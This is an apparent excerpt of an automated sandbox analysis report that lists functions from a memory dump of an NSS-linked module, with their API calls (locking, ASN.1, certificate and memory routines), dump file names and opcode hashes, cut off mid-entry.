Instruction Fuzzy Hash: 29A1BE75B11100CBEF499F24D98977A3BB9AB4331CF18052DE4164BA64DB3AE846CB93

Function 6CE51E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CE51ECC

Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90AB
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90C9
Part of subcall function 6CEF9090: EnterCriticalSection.KERNEL32 ref: 6CEF90E5
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF9116
Part of subcall function 6CEF9090: LeaveCriticalSection.KERNEL32 ref: 6CEF913F

TlsGetValue.KERNEL32 ref: 6CE51EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE51EEF
PR_ExitMonitor.NSS3(?), ref: 6CE51F37
PR_Unlock.NSS3(?), ref: 6CE51F44

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 9e84b57c808be64e201d668c22f2f8b4b725eaf93f8e66e353c2f799ddbbaf82
Instruction ID: c8adbd0d45fe857f7e2031099e17fe7cae06a26e87cec512ed9916327b3b9c60
Opcode Fuzzy Hash: 9e84b57c808be64e201d668c22f2f8b4b725eaf93f8e66e353c2f799ddbbaf82
Instruction Fuzzy Hash: 5F71D2759043019FD700CF64D841A5AB7F1FF89358F64492DE8A993B10E732F969CBA2

Function 6CEDDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEDDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CEDDE77

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: d64909e2a7478dc1b0ba8a468b38b3836023ed442075c134abffb710ed73e48a
Instruction ID: 683e7262a43785b65aa40dde1940cd6fb99d2b757e4323c5152244fddd0d8886
Opcode Fuzzy Hash: d64909e2a7478dc1b0ba8a468b38b3836023ed442075c134abffb710ed73e48a
Instruction Fuzzy Hash: F2715679E00319CFDB10CF5AC580A99B7B4BF4A718F26816DD9596B702D770BA06CFA0

Function 6CEA9E00 Relevance: 7.7, APIs: 5, Instructions: 157COMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3(?), ref: 6CEA9EB2
PR_Sleep.NSS3(00000000), ref: 6CEA9EBC
PR_EnterMonitor.NSS3(?), ref: 6CEA9ED8
TlsGetValue.KERNEL32 ref: 6CEA9F46
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CEA9F8B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitSleepValue
String ID:
API String ID: 2181969484-0
Opcode ID: 4acf0e1e9702a4d881d364a1aaed3c088dd9d0e428369ddf6feecc6a9d6dfa2c
Instruction ID: 06869583d312f4f4ca9bc919712d4f5f537dc5ef1f720c9907cb4d2a3e5d4aa9
Opcode Fuzzy Hash: 4acf0e1e9702a4d881d364a1aaed3c088dd9d0e428369ddf6feecc6a9d6dfa2c
Instruction Fuzzy Hash: 86510F71A042158FEB109EA9C8417AE77B2AB8570CF348178D8599FB82D733D847CB81

Function 6CDD6D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6CDC3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDC3C66
Part of subcall function 6CDC3C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CDC3D04

memcpy.VCRUNTIME140(?,?,?), ref: 6CDD6DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6CDD6DE5

Part of subcall function 6CDD8010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD807D
Part of subcall function 6CDD8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD80D1
Part of subcall function 6CDD8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD810E
Part of subcall function 6CDD8010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDD8140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6CDD6E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CDD6E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD6EC2

Part of subcall function 6CDD7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD7E27
Part of subcall function 6CDD7D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD7E67

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: 04f8ed553be333f18a0d508eabbc174c04a42d40df6cad3633377a6a8d656fc3
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: B751AF719083519FD720CF25C840B6ABBE5BF88318F058A5DE8A987B51E730F919CB92

Function 6CE4DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE4AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE51397,5B5F5EC0,?,?,6CE4B1EE,2404110F,?,?), ref: 6CE4AB3C
Part of subcall function 6CE4AB10: free.MOZGLUE(D958E836,?,6CE4B1EE,2404110F,?,?), ref: 6CE4AB49
Part of subcall function 6CE4AB10: DeleteCriticalSection.KERNEL32(5D5E6D04), ref: 6CE4AB5C
Part of subcall function 6CE4AB10: free.MOZGLUE(5D5E6CF8), ref: 6CE4AB63
Part of subcall function 6CE4AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE4AB6F
Part of subcall function 6CE4AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE4AB76

TlsGetValue.KERNEL32(?,?,6CE4B266,6CE515C6,?,?,6CE515C6), ref: 6CE4DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE4B266,6CE515C6,?,?,6CE515C6), ref: 6CE4DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE4B266,6CE515C6,?,?,6CE515C6), ref: 6CE4E029
PK11_IsLoggedIn.NSS3 ref: 6CE4E046

Part of subcall function 6CE58F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE58FAF
Part of subcall function 6CE58F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE58FD1
Part of subcall function 6CE58F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE58FFA
Part of subcall function 6CE58F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE59013
Part of subcall function 6CE58F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE59042
Part of subcall function 6CE58F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE5905A
Part of subcall function 6CE58F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE59073
Part of subcall function 6CE58F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE59111

PR_Unlock.NSS3(?,?,?,?,6CE4B266,6CE515C6,?,?,6CE515C6), ref: 6CE4E149

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 19038969fcb8c44f5f430863e3ad8baeaa8caad1db566accab2ecf814135f024
Instruction ID: cb8e4eb722221885ff3caafa91c9f756dc41a372d344f356f46b829041c14d80
Opcode Fuzzy Hash: 19038969fcb8c44f5f430863e3ad8baeaa8caad1db566accab2ecf814135f024
Instruction Fuzzy Hash: 04513674600A01CFDB10EF29D58476ABBF0BF44319F25C96CD9A98BB41D731E885CB92

Function 6CE5BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CE5BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE5BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE39F71,?,?,00000000), ref: 6CE5BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE5BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE5C014

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: c3be4f5dd1fa3722bae63c1aa7319ca63eb8f9b0a832f5d0d215f1092c772005
Instruction ID: cbdea3f5e4540f23e0f309a58b76693f726fe49ee8f4e169a1a218e278132b88
Opcode Fuzzy Hash: c3be4f5dd1fa3722bae63c1aa7319ca63eb8f9b0a832f5d0d215f1092c772005
Instruction Fuzzy Hash: 1141C675E012059BEB00CE65DC41BBA73B9AF4520CFB54128E819E7B41EB33E955CBA1

Function 6CE2EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE2EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE2EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE2EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE2EEEB
free.MOZGLUE(?), ref: 6CE2EEF6

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 231f4630ecb896bcab5d16caa1bfd3c1206d4c77addee545158f20aa89784768
Instruction ID: fc6cf4ea459c61cca3aabbe3fbb29a2c4fc164e8604ab810bd1a82d16e493986
Opcode Fuzzy Hash: 231f4630ecb896bcab5d16caa1bfd3c1206d4c77addee545158f20aa89784768
Instruction Fuzzy Hash: 8C31F871A00A109BEB209F3CCC45B667BF4FF4635AF240629E95A87B61D739E414CBD1

Function 6CE41F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE41F1C

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CF59EBC), ref: 6CE41FB8
SEC_ASN1EncodeItem_Util.NSS3(6CF59E9C,?,?,6CF59E9C), ref: 6CE4200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE42020

Part of subcall function 6CE36A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE3AD50,?,?), ref: 6CE36A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE42030

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: d65b017dd0918f123c4eff63aa99d3860f76fd06e0283a394bf5ff2421ade430
Instruction ID: bcd39f7ffa266de29f2e75069a87ac6140519d2fdb9132044e2d6576b53ce19e
Opcode Fuzzy Hash: d65b017dd0918f123c4eff63aa99d3860f76fd06e0283a394bf5ff2421ade430
Instruction Fuzzy Hash: 6721F5B5901501ABEB014A55EC41FAA7778FF5231CF348219E828D6B80E732F93AC7B1

Function 6CE31DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE31E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE31E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE31E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE31E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE31EAD

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: c91304e1af387d46c13b64e0b742054d0dd249a47233fcd7c3750166696fe8db
Instruction ID: c252888322fdeecee872e4f3fcf88f97497bee1a4155caf19646e1ca26a3e708
Opcode Fuzzy Hash: c91304e1af387d46c13b64e0b742054d0dd249a47233fcd7c3750166696fe8db
Instruction Fuzzy Hash: 1A21C172E04624A7D7008EA9DC40B9A73B49B85369F25463CED5D577C0E731E909C6D2

Function 6CF41E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF41E5C

Part of subcall function 6CEF9BF0: TlsGetValue.KERNEL32(?,?,?,6CF40A75), ref: 6CEF9C07

PR_Lock.NSS3(00000000), ref: 6CF41E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF41EAB
PR_GetCurrentThread.NSS3 ref: 6CF41ED0
PR_Unlock.NSS3(?), ref: 6CF41EE8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 26dd6698d94f3c09337baa496c611fdce2fa2c1bc4f17f895e186cef9a94b0a2
Instruction ID: 75930986384e0c47dcd99b7b1fdef4897e228cb750e3bb874d2517482512f83c
Opcode Fuzzy Hash: 26dd6698d94f3c09337baa496c611fdce2fa2c1bc4f17f895e186cef9a94b0a2
Instruction Fuzzy Hash: A221AF79A14612ABD710CF19D840E86BBB1FF44718B25C229D8299BF42D730F871CBD5

Function 6CE8BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE3E708,00000000,00000000,00000004,00000000), ref: 6CE8BE6A

Part of subcall function 6CE90840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE908B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE404DC,?), ref: 6CE8BE7E

Part of subcall function 6CE8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE88D2D,?,00000000,?), ref: 6CE8FB85
Part of subcall function 6CE8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE8FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE8BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE404DC,?,?), ref: 6CE8BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE8BEEB

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: b29ce5b7cfb08b68d60f385d2cfe389dedf646144c70e405fb7b09be1202fc72
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F0113166E0620A6BE700C969AC81F2B737D9B8175CF340029FE0CD2B52E731D80987F2

Function 6CE3AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE33FFF,00000000,?,?,?,?,?,6CE31A1C,00000000,00000000), ref: 6CE3ADA7

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE33FFF,00000000,?,?,?,?,?,6CE31A1C,00000000,00000000), ref: 6CE3ADB4

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE33FFF,?,?,?,?,6CE33FFF,00000000,?,?,?,?,?,6CE31A1C,00000000), ref: 6CE3ADD5

Part of subcall function 6CE8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE88D2D,?,00000000,?), ref: 6CE8FB85
Part of subcall function 6CE8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE8FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF594B0,?,?,?,?,?,?,?,?,6CE33FFF,00000000,?), ref: 6CE3ADEC

Part of subcall function 6CE8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF618D0,?), ref: 6CE8B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE33FFF), ref: 6CE3AE3C

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: f6a03602d3f6f04da231b75767a497fbdf05cb6b2d8eb94110bdfcdbd15f905e
Instruction ID: 255784ae62c2aae15f28dd2c3d8552c00fe1ac2f015065ebf90d9e0193ba0665
Opcode Fuzzy Hash: f6a03602d3f6f04da231b75767a497fbdf05cb6b2d8eb94110bdfcdbd15f905e
Instruction Fuzzy Hash: C4112661E002145BEB109AA69C41BBF73BC9F9524CF24462CEC1D96741FB20F999C2A2

Function 6CE48FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

